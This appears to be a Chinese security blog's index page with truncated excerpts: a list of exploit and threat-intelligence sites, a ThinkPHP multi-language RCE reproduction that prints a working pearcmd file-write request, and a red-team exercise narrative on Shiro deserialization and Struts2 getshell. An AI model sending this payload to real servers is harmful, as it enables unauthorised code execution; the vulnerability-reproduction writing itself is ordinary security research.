Hack All Sec 的博客不收藏一定会后悔的11个国外网络安全资源
0dayTodayPacketstormDeepquest's BlogCxsecurityCodepwnCodeSecDefendify Essentials PackageHave I Been PwnedPhishTankShodanVirusTotal0dayTodayhttps://0day.today/号称世界上最大的漏洞利用数据库Packetstormhttps://packetst
【漏洞复现】ThinkPHP 多语言模块RCE
Exp漏洞简介影响范围FoFa指纹复现过程Xray PocExp# 写文件 http://172.17.0.2/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php # 包含文件 htt
记某次攻防演习和蓝队的博弈
外网打点内网遨游Get 数据库二进内网S2-046 GetshellDump Hash外网打点访问目标网站发现是统一登录认证，子域名枚举发现存在oa、erp、mail等。其中一个存在Shiro反序列化漏洞，直接上工具：检测发现存在Shiro反序列化漏洞key，但是未找到利用链。奇怪，换个工具再试，成功Getshell，如图：root到手了，还得是飞鸿啊，吃个肉夹馍压压惊。你以为这就结束了？其实这才